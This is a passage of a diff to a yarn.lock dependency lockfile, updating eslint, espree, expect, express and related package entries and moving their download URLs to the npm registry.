-    "@rushstack/eslint-patch" "^1.3.3"
-    "@typescript-eslint/parser" "^5.4.2 || ^6.0.0"
-    eslint-import-resolver-node "^0.3.6"
-    eslint-import-resolver-typescript "^3.5.2"
-    eslint-plugin-import "^2.28.1"
-    eslint-plugin-jsx-a11y "^6.7.1"
-    eslint-plugin-react "^7.33.2"
-    eslint-plugin-react-hooks "^4.5.0 || 5.0.0-canary-7118f5dd7-20230705"
-
-eslint-import-resolver-node@^0.3.6:
-  version "0.3.7"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.7.tgz#83b375187d412324a1963d84fa664377a23eb4d7"
-  integrity sha512-gozW2blMLJCeFpBwugLTGyvVjNoeo1knonXAcatC6bjPBZitotxdWf7Gimr25N4c0AAOo4eOUfaG82IJPDpqCA==
-  dependencies:
-    debug "^3.2.7"
-    is-core-module "^2.11.0"
-    resolve "^1.22.1"
-
-eslint-import-resolver-node@^0.3.9:
-  version "0.3.9"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
-  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
-  dependencies:
-    debug "^3.2.7"
-    is-core-module "^2.13.0"
-    resolve "^1.22.4"
-
-eslint-import-resolver-typescript@^3.5.2:
-  version "3.5.5"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-3.5.5.tgz#0a9034ae7ed94b254a360fbea89187b60ea7456d"
-  integrity sha512-TdJqPHs2lW5J9Zpe17DZNQuDnox4xo2o+0tE7Pggain9Rbc19ik8kFtXdxZ250FVx2kF4vlt2RSf4qlUpG7bhw==
-  dependencies:
-    debug "^4.3.4"
-    enhanced-resolve "^5.12.0"
-    eslint-module-utils "^2.7.4"
-    get-tsconfig "^4.5.0"
-    globby "^13.1.3"
-    is-core-module "^2.11.0"
-    is-glob "^4.0.3"
-    synckit "^0.8.5"
-
-eslint-module-utils@^2.7.4, eslint-module-utils@^2.8.0:
-  version "2.8.0"
-  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz#e439fee65fc33f6bba630ff621efc38ec0375c49"
-  integrity sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==
-  dependencies:
-    debug "^3.2.7"
-
-eslint-plugin-import@^2.28.1:
-  version "2.29.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.29.0.tgz#8133232e4329ee344f2f612885ac3073b0b7e155"
-  integrity sha512-QPOO5NO6Odv5lpoTkddtutccQjysJuFxoPS7fAHO+9m9udNHvTCPSAMW9zGAYj8lAIdr40I8yPCdUYrncXtrwg==
-  dependencies:
-    array-includes "^3.1.7"
-    array.prototype.findlastindex "^1.2.3"
-    array.prototype.flat "^1.3.2"
-    array.prototype.flatmap "^1.3.2"
-    debug "^3.2.7"
-    doctrine "^2.1.0"
-    eslint-import-resolver-node "^0.3.9"
-    eslint-module-utils "^2.8.0"
-    hasown "^2.0.0"
-    is-core-module "^2.13.1"
-    is-glob "^4.0.3"
-    minimatch "^3.1.2"
-    object.fromentries "^2.0.7"
-    object.groupby "^1.0.1"
-    object.values "^1.1.7"
-    semver "^6.3.1"
-    tsconfig-paths "^3.14.2"
-
-eslint-plugin-jsx-a11y@^6.7.1:
-  version "6.7.1"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.7.1.tgz#fca5e02d115f48c9a597a6894d5bcec2f7a76976"
-  integrity sha512-63Bog4iIethyo8smBklORknVjB0T2dwB8Mr/hIC+fBS0uyHdYYpzM/Ed+YC8VxTjlXHEWFOdmgwcDn1U2L9VCA==
-  dependencies:
-    "@babel/runtime" "^7.20.7"
-    aria-query "^5.1.3"
-    array-includes "^3.1.6"
-    array.prototype.flatmap "^1.3.1"
-    ast-types-flow "^0.0.7"
-    axe-core "^4.6.2"
-    axobject-query "^3.1.1"
-    damerau-levenshtein "^1.0.8"
-    emoji-regex "^9.2.2"
-    has "^1.0.3"
-    jsx-ast-utils "^3.3.3"
-    language-tags "=1.0.5"
-    minimatch "^3.1.2"
-    object.entries "^1.1.6"
-    object.fromentries "^2.0.6"
-    semver "^6.3.0"
-
-"eslint-plugin-react-hooks@^4.5.0 || 5.0.0-canary-7118f5dd7-20230705":
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz#4c3e697ad95b77e93f8646aaa1630c1ba607edd3"
-  integrity sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==
-
-eslint-plugin-react@^7.33.2:
-  version "7.33.2"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz#69ee09443ffc583927eafe86ffebb470ee737608"
-  integrity sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==
-  dependencies:
-    array-includes "^3.1.6"
-    array.prototype.flatmap "^1.3.1"
-    array.prototype.tosorted "^1.1.1"
-    doctrine "^2.1.0"
-    es-iterator-helpers "^1.0.12"
-    estraverse "^5.3.0"
-    jsx-ast-utils "^2.4.1 || ^3.0.0"
-    minimatch "^3.1.2"
-    object.entries "^1.1.6"
-    object.fromentries "^2.0.6"
-    object.hasown "^1.1.2"
-    object.values "^1.1.6"
-    prop-types "^15.8.1"
-    resolve "^2.0.0-next.4"
-    semver "^6.3.1"
-    string.prototype.matchall "^4.0.8"
-
-eslint-scope@^7.1.1, eslint-scope@^7.2.2:
+eslint-scope@^7.2.2:
   version "7.2.2"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  resolved "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz"
   integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
   dependencies:
     esrecurse "^4.3.0"
     estraverse "^5.2.0"
 
-eslint-scope@^7.2.0:
-  version "7.2.0"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.0.tgz#f21ebdafda02352f103634b96dd47d9f81ca117b"
-  integrity sha512-DYj5deGlHBfMt15J7rdtyKNq/Nqlv5KfU4iodrQ019XESsRnwXH9KAE0y3cwtUHDo2ob7CypAnCqefh6vioWRw==
+eslint-scope@^8.2.0:
+  version "8.2.0"
+  resolved "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.2.0.tgz"
+  integrity sha512-PHlWUfG6lvPc3yvP5A4PNyBL1W8fkDUccmI21JUu/+GKZBoH/W5u6usENXUrWFRsyoW5ACUjFGgAFQp5gUlb/A==
   dependencies:
     esrecurse "^4.3.0"
     estraverse "^5.2.0"
 
-eslint-utils@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-3.0.0.tgz#8aebaface7345bb33559db0a1f13a1d2d48c3672"
-  integrity sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==
-  dependencies:
-    eslint-visitor-keys "^2.0.0"
-
-eslint-visitor-keys@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz#f65328259305927392c938ed44eb0a5c9b2bd303"
-  integrity sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==
-
 eslint-visitor-keys@^3.3.0:
   version "3.3.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz#f6480fa6b1f30efe2d1968aa8ac745b862469826"
+  resolved "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz"
   integrity sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==
 
 eslint-visitor-keys@^3.4.1:
   version "3.4.1"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz#c22c48f48942d08ca824cc526211ae400478a994"
+  resolved "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz"
   integrity sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==
 
 eslint-visitor-keys@^3.4.3:
   version "3.4.3"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
+  resolved "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz"
   integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
 
-eslint@8.27.0:
-  version "8.27.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.27.0.tgz#d547e2f7239994ad1faa4bb5d84e5d809db7cf64"
-  integrity sha512-0y1bfG2ho7mty+SiILVf9PfuRA49ek4Nc60Wmmu62QlobNR+CeXa4xXIJgcuwSQgZiWaPH+5BDsctpIW0PR/wQ==
+eslint-visitor-keys@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.0.tgz"
+  integrity sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==
+
+eslint@8.57.0:
+  version "8.57.0"
+  resolved "https://registry.npmjs.org/eslint/-/eslint-8.57.0.tgz"
+  integrity sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==
   dependencies:
-    "@eslint/eslintrc" "^1.3.3"
-    "@humanwhocodes/config-array" "^0.11.6"
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.0"
+    "@humanwhocodes/config-array" "^0.11.14"
     "@humanwhocodes/module-importer" "^1.0.1"
     "@nodelib/fs.walk" "^1.2.8"
-    ajv "^6.10.0"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
     chalk "^4.0.0"
     cross-spawn "^7.0.2"
     debug "^4.3.2"
     doctrine "^3.0.0"
     escape-string-regexp "^4.0.0"
-    eslint-scope "^7.1.1"
-    eslint-utils "^3.0.0"
-    eslint-visitor-keys "^3.3.0"
-    espree "^9.4.0"
-    esquery "^1.4.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
     esutils "^2.0.2"
     fast-deep-equal "^3.1.3"
     file-entry-cache "^6.0.1"
     find-up "^5.0.0"
     glob-parent "^6.0.2"
-    globals "^13.15.0"
-    grapheme-splitter "^1.0.4"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
     ignore "^5.2.0"
-    import-fresh "^3.0.0"
     imurmurhash "^0.1.4"
     is-glob "^4.0.0"
     is-path-inside "^3.0.3"
-    js-sdsl "^4.1.4"
     js-yaml "^4.1.0"
     json-stable-stringify-without-jsonify "^1.0.1"
     levn "^0.4.1"
     lodash.merge "^4.6.2"
     minimatch "^3.1.2"
     natural-compare "^1.4.0"
-    optionator "^0.9.1"
-    regexpp "^3.2.0"
+    optionator "^0.9.3"
     strip-ansi "^6.0.1"
-    strip-json-comments "^3.1.0"
     text-table "^0.2.0"
 
-eslint@8.57.0:
-  version "8.57.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.0.tgz#c786a6fd0e0b68941aaf624596fb987089195668"
-  integrity sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==
+eslint@^8.57.1:
+  version "8.57.1"
+  resolved "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz"
+  integrity sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==
   dependencies:
     "@eslint-community/eslint-utils" "^4.2.0"
     "@eslint-community/regexpp" "^4.6.1"
     "@eslint/eslintrc" "^2.1.4"
-    "@eslint/js" "8.57.0"
-    "@humanwhocodes/config-array" "^0.11.14"
+    "@eslint/js" "8.57.1"
+    "@humanwhocodes/config-array" "^0.13.0"
     "@humanwhocodes/module-importer" "^1.0.1"
     "@nodelib/fs.walk" "^1.2.8"
     "@ungap/structured-clone" "^1.2.0"
@@ -5058,106 +5518,120 @@ eslint@8.57.0:
     strip-ansi "^6.0.1"
     text-table "^0.2.0"
 
-eslint@^8.28.0:
-  version "8.41.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.41.0.tgz#3062ca73363b4714b16dbc1e60f035e6134b6f1c"
-  integrity sha512-WQDQpzGBOP5IrXPo4Hc0814r4/v2rrIsB0rhT7jtunIalgg6gYXWhRMOejVO8yH21T/FGaxjmFjBMNqcIlmH1Q==
+eslint@^9.13.0:
+  version "9.17.0"
+  resolved "https://registry.npmjs.org/eslint/-/eslint-9.17.0.tgz"
+  integrity sha512-evtlNcpJg+cZLcnVKwsai8fExnqjGPicK7gnUtlNuzu+Fv9bI0aLpND5T44VLQtoMEnI57LoXO9XAkIXwohKrA==
   dependencies:
     "@eslint-community/eslint-utils" "^4.2.0"
-    "@eslint-community/regexpp" "^4.4.0"
-    "@eslint/eslintrc" "^2.0.3"
-    "@eslint/js" "8.41.0"
-    "@humanwhocodes/config-array" "^0.11.8"
+    "@eslint-community/regexpp" "^4.12.1"
+    "@eslint/config-array" "^0.19.0"
+    "@eslint/core" "^0.9.0"
+    "@eslint/eslintrc" "^3.2.0"
+    "@eslint/js" "9.17.0"
+    "@eslint/plugin-kit" "^0.2.3"
+    "@humanfs/node" "^0.16.6"
     "@humanwhocodes/module-importer" "^1.0.1"
-    "@nodelib/fs.walk" "^1.2.8"
-    ajv "^6.10.0"
+    "@humanwhocodes/retry" "^0.4.1"
+    "@types/estree" "^1.0.6"
+    "@types/json-schema" "^7.0.15"
+    ajv "^6.12.4"
     chalk "^4.0.0"
-    cross-spawn "^7.0.2"
+    cross-spawn "^7.0.6"
     debug "^4.3.2"
-    doctrine "^3.0.0"
     escape-string-regexp "^4.0.0"
-    eslint-scope "^7.2.0"
-    eslint-visitor-keys "^3.4.1"
-    espree "^9.5.2"
-    esquery "^1.4.2"
+    eslint-scope "^8.2.0"
+    eslint-visitor-keys "^4.2.0"
+    espree "^10.3.0"
+    esquery "^1.5.0"
     esutils "^2.0.2"
     fast-deep-equal "^3.1.3"
-    file-entry-cache "^6.0.1"
+    file-entry-cache "^8.0.0"
     find-up "^5.0.0"
     glob-parent "^6.0.2"
-    globals "^13.19.0"
-    graphemer "^1.4.0"
     ignore "^5.2.0"
-    import-fresh "^3.0.0"
     imurmurhash "^0.1.4"
     is-glob "^4.0.0"
-    is-path-inside "^3.0.3"
-    js-yaml "^4.1.0"
     json-stable-stringify-without-jsonify "^1.0.1"
-    levn "^0.4.1"
     lodash.merge "^4.6.2"
     minimatch "^3.1.2"
     natural-compare "^1.4.0"
-    optionator "^0.9.1"
-    strip-ansi "^6.0.1"
-    strip-json-comments "^3.1.0"
-    text-table "^0.2.0"
+    optionator "^0.9.3"
 
-espree@^9.4.0, espree@^9.6.0, espree@^9.6.1:
-  version "9.6.1"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-9.6.1.tgz#a2a17b8e434690a5432f2f8018ce71d331a48c6f"
-  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
+espree@^10.0.1, espree@^10.3.0:
+  version "10.3.0"
+  resolved "https://registry.npmjs.org/espree/-/espree-10.3.0.tgz"
+  integrity sha512-0QYC8b24HWY8zjRnDTL6RiHfDbAWn63qb4LMj1Z4b076A4une81+z03Kg7l7mn/48PUTqoLptSXez8oknU8Clg==
   dependencies:
-    acorn "^8.9.0"
+    acorn "^8.14.0"
     acorn-jsx "^5.3.2"
-    eslint-visitor-keys "^3.4.1"
+    eslint-visitor-keys "^4.2.0"
 
-espree@^9.5.2:
-  version "9.5.2"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-9.5.2.tgz#e994e7dc33a082a7a82dceaf12883a829353215b"
-  integrity sha512-7OASN1Wma5fum5SrNhFMAMJxOUAbhyfQ8dQ//PJaJbNw0URTPWqIghHWt1MmAANKhHZIYOHruW4Kw4ruUWOdGw==
+espree@^9.6.0, espree@^9.6.1:
+  version "9.6.1"
+  resolved "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz"
+  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
   dependencies:
-    acorn "^8.8.0"
+    acorn "^8.9.0"
     acorn-jsx "^5.3.2"
     eslint-visitor-keys "^3.4.1"
 
 esprima@^4.0.0, esprima@^4.0.1:
   version "4.0.1"
-  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
+  resolved "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz"
   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
 
-esquery@^1.4.0, esquery@^1.4.2:
+esquery@^1.4.2:
   version "1.5.0"
-  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.5.0.tgz#6ce17738de8577694edd7361c57182ac8cb0db0b"
+  resolved "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz"
   integrity sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==
   dependencies:
     estraverse "^5.1.0"
 
+esquery@^1.5.0:
+  version "1.6.0"
+  resolved "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
 esrecurse@^4.3.0:
   version "4.3.0"
-  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+  resolved "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz"
   integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
   dependencies:
     estraverse "^5.2.0"
 
-estraverse@^5.1.0, estraverse@^5.2.0, estraverse@^5.3.0:
+estraverse@^5.1.0, estraverse@^5.2.0:
   version "5.3.0"
-  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  resolved "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz"
   integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
 
-estree-walker@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/estree-walker/-/estree-walker-2.0.2.tgz#52f010178c2a4c117a7757cfe942adb7d2da4cac"
-  integrity sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==
-
 esutils@^2.0.2:
   version "2.0.3"
-  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
+  resolved "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz"
   integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
 
+etag@^1.8.1:
+  version "1.8.1"
+  resolved "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz"
+  integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==
+
+eventsource-parser@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.0.1.tgz"
+  integrity sha512-VARTJ9CYeuQYb0pZEPbzi740OWFgpHe7AYJ2WFZVnUDUQp5Dk2yJUgF36YsZ81cOyxT0QxmXD2EQpapAouzWVA==
+
+eventsource@^3.0.2:
+  version "3.0.6"
+  resolved "https://registry.npmjs.org/eventsource/-/eventsource-3.0.6.tgz"
+  integrity sha512-l19WpE2m9hSuyP06+FbuUUf1G+R0SFLrtQfbRb9PRr+oimOfxQhgGCbVaXg5IvZyyTThJsxh6L/srkMiCeBPDA==
+  dependencies:
+    eventsource-parser "^3.0.1"
+
 execa@^5.0.0:
   version "5.1.1"
-  resolved "https://registry.yarnpkg.com/execa/-/execa-5.1.1.tgz#f80ad9cbf4298f7bd1d4c9555c21e93741c411dd"
+  resolved "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz"
   integrity sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==
   dependencies:
     cross-spawn "^7.0.3"
@@ -5170,29 +5644,21 @@ execa@^5.0.0:
     signal-exit "^3.0.3"
     strip-final-newline "^2.0.0"
 
-execa@^7.1.1:
-  version "7.1.1"
-  resolved "https://registry.yarnpkg.com/execa/-/execa-7.1.1.tgz#3eb3c83d239488e7b409d48e8813b76bb55c9c43"
-  integrity sha512-wH0eMf/UXckdUYnO21+HDztteVv05rq2GXksxT4fCGeHkBhw1DROXh40wcjMcRqDOWE7iPJ4n3M7e2+YFP+76Q==
-  dependencies:
-    cross-spawn "^7.0.3"
-    get-stream "^6.0.1"
-    human-signals "^4.3.0"
-    is-stream "^3.0.0"
-    merge-stream "^2.0.0"
-    npm-run-path "^5.1.0"
-    onetime "^6.0.0"
-    signal-exit "^3.0.7"
-    strip-final-newline "^3.0.0"
-
 exit@^0.1.2:
   version "0.1.2"
-  resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
+  resolved "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz"
   integrity sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==
 
+expand-tilde@^2.0.0, expand-tilde@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz"
+  integrity sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==
+  dependencies:
+    homedir-polyfill "^1.0.1"
+
 expect@^28.0.0, expect@^28.1.3:
   version "28.1.3"
-  resolved "https://registry.yarnpkg.com/expect/-/expect-28.1.3.tgz#90a7c1a124f1824133dd4533cce2d2bdcb6603ec"
+  resolved "https://registry.npmjs.org/expect/-/expect-28.1.3.tgz"
   integrity sha512-eEh0xn8HlsuOBxFgIss+2mX85VAS4Qy3OSkjV7rlBWljtA4oWH37glVGyOZSZvErDT/yBywZdPGwCXuTvSG85g==
   dependencies:
     "@jest/expect-utils" "^28.1.3"
@@ -5203,7 +5669,7 @@ expect@^28.0.0, expect@^28.1.3:
 
 expect@^29.0.0, expect@^29.0.3:
   version "29.0.3"
-  resolved "https://registry.yarnpkg.com/expect/-/expect-29.0.3.tgz#6be65ddb945202f143c4e07c083f4f39f3bd326f"
+  resolved "https://registry.npmjs.org/expect/-/expect-29.0.3.tgz"
   integrity sha512-t8l5DTws3212VbmPL+tBFXhjRHLmctHB0oQbL8eUc6S7NzZtYUhycrFO9mkxA0ZUC6FAWdNi7JchJSkODtcu1Q==
   dependencies:
     "@jest/expect-utils" "^29.0.3"
@@ -5214,7 +5680,7 @@ expect@^29.0.0, expect@^29.0.3:
 
 expect@^29.5.0:
   version "29.5.0"
-  resolved "https://registry.yarnpkg.com/expect/-/expect-29.5.0.tgz#68c0509156cb2a0adb8865d413b137eeaae682f7"
+  resolved "https://registry.npmjs.org/expect/-/expect-29.5.0.tgz"
   integrity sha512-yM7xqUrCO2JdpFo4XpM82t+PJBFybdqoQuJLDGeDX2ij8NZzqRHyu3Hp188/JX7SWqud+7t4MUdvcgGBICMHZg==
   dependencies:
     "@jest/expect-utils" "^29.5.0"
@@ -5223,14 +5689,91 @@ expect@^29.5.0:
     jest-message-util "^29.5.0"
     jest-util "^29.5.0"
 
+expect@^29.7.0:
+  version "29.7.0"
+  resolved "https://registry.yarnpkg.com/expect/-/expect-29.7.0.tgz#578874590dcb3214514084c08115d8aee61e11bc"
+  integrity sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==
+  dependencies:
+    "@jest/expect-utils" "^29.7.0"
+    jest-get-type "^29.6.3"
+    jest-matcher-utils "^29.7.0"
+    jest-message-util "^29.7.0"
+    jest-util "^29.7.0"
+
+expect@^30.0.0:
+  version "30.0.5"
+  resolved "https://registry.yarnpkg.com/expect/-/expect-30.0.5.tgz#c23bf193c5e422a742bfd2990ad990811de41a5a"
+  integrity sha512-P0te2pt+hHI5qLJkIR+iMvS+lYUZml8rKKsohVHAGY+uClp9XVbdyYNJOIjSRpHVp8s8YqxJCiHUkSYZGr8rtQ==
+  dependencies:
+    "@jest/expect-utils" "30.0.5"
+    "@jest/get-type" "30.0.1"
+    jest-matcher-utils "30.0.5"
+    jest-message-util "30.0.5"
+    jest-mock "30.0.5"
+    jest-util "30.0.5"
+
+express-rate-limit@^7.5.0:
+  version "7.5.0"
+  resolved "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-7.5.0.tgz"
+  integrity sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg==
+
+express@^5.0.1:
+  version "5.1.0"
+  resolved "https://registry.npmjs.org/express/-/express-5.1.0.tgz"
+  integrity sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA==
+  dependencies:
+    accepts "^2.0.0"
+    body-parser "^2.2.0"
+    content-disposition "^1.0.0"
+    content-type "^1.0.5"
+    cookie "^0.7.1"
+    cookie-signature "^1.2.1"
+    debug "^4.4.0"
+    encodeurl "^2.0.0"
+    escape-html "^1.0.3"
+    etag "^1.8.1"
+    finalhandler "^2.1.0"
+    fresh "^2.0.0"
+    http-errors "^2.0.0"
+    merge-descriptors "^2.0.0"
+    mime-types "^3.0.0"
+    on-finished "^2.4.1"
+    once "^1.4.0"
+    parseurl "^1.3.3"
+    proxy-addr "^2.0.7"
+    qs "^6.14.0"
+    range-parser "^1.2.1"
+    router "^2.2.0"
+    send "^1.1.0"
+    serve-static "^2.2.0"
+    statuses "^2.0.1"
+    type-is "^2.0.1"
+    vary "^1.1.2"
+
+extract-zip@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz"
+  integrity sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==
+  dependencies:
+    debug "^4.1.1"
+    get-stream "^5.1.0"
+    yauzl "^2.10.0"
+  optionalDependencies:
+    "@types/yauzl" "^2.9.1"
+
 fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
   version "3.1.3"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
